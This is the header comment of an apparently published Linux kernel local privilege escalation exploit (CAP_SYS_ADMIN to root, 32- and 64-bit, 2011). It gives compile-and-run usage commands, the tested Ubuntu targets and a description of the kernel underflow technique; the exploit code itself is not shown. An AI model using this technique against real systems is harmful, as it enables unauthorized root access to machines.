Linux Kernel 2.6.34+ - CAP_SYS_ADMIN x86 & x64 Local Privilege Escalation Exploit (2)

                                                /*
 * Linux Kernel CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)
 * by Joe Sylve
 * @jtsylve on twitter
 *
 * Released: Jan 7, 2011
 *
 * Based on the bug found by Dan Rosenberg (@djrbliss)
 * only loosly based on his exploit http://www.exploit-db.com/exploits/15916/
 * 
 * Usage:
 * gcc -w caps-to-root2.c -o caps-to-root2
 * sudo setcap cap_sys_admin+ep caps-to-root2
 * ./caps-to-root2
 *
 * Kernel Version >= 2.6.34 (untested on earlier versions)
 *
 * Tested on Ubuntu 10.10 64-bit and Ubuntu 10.10 32-bit
 *
 * This exploit takes advantage of the same underflow as the original,
 * but takes a different approach.  Instead of underflowing into userspace
 * (which doesn't work on 64-bit systems and is a lot of work), I underflow 
 * to some static values inside of the kernel which are referenced as pointers
 * to userspace.  This method is pretty simple and seems to be reliable.
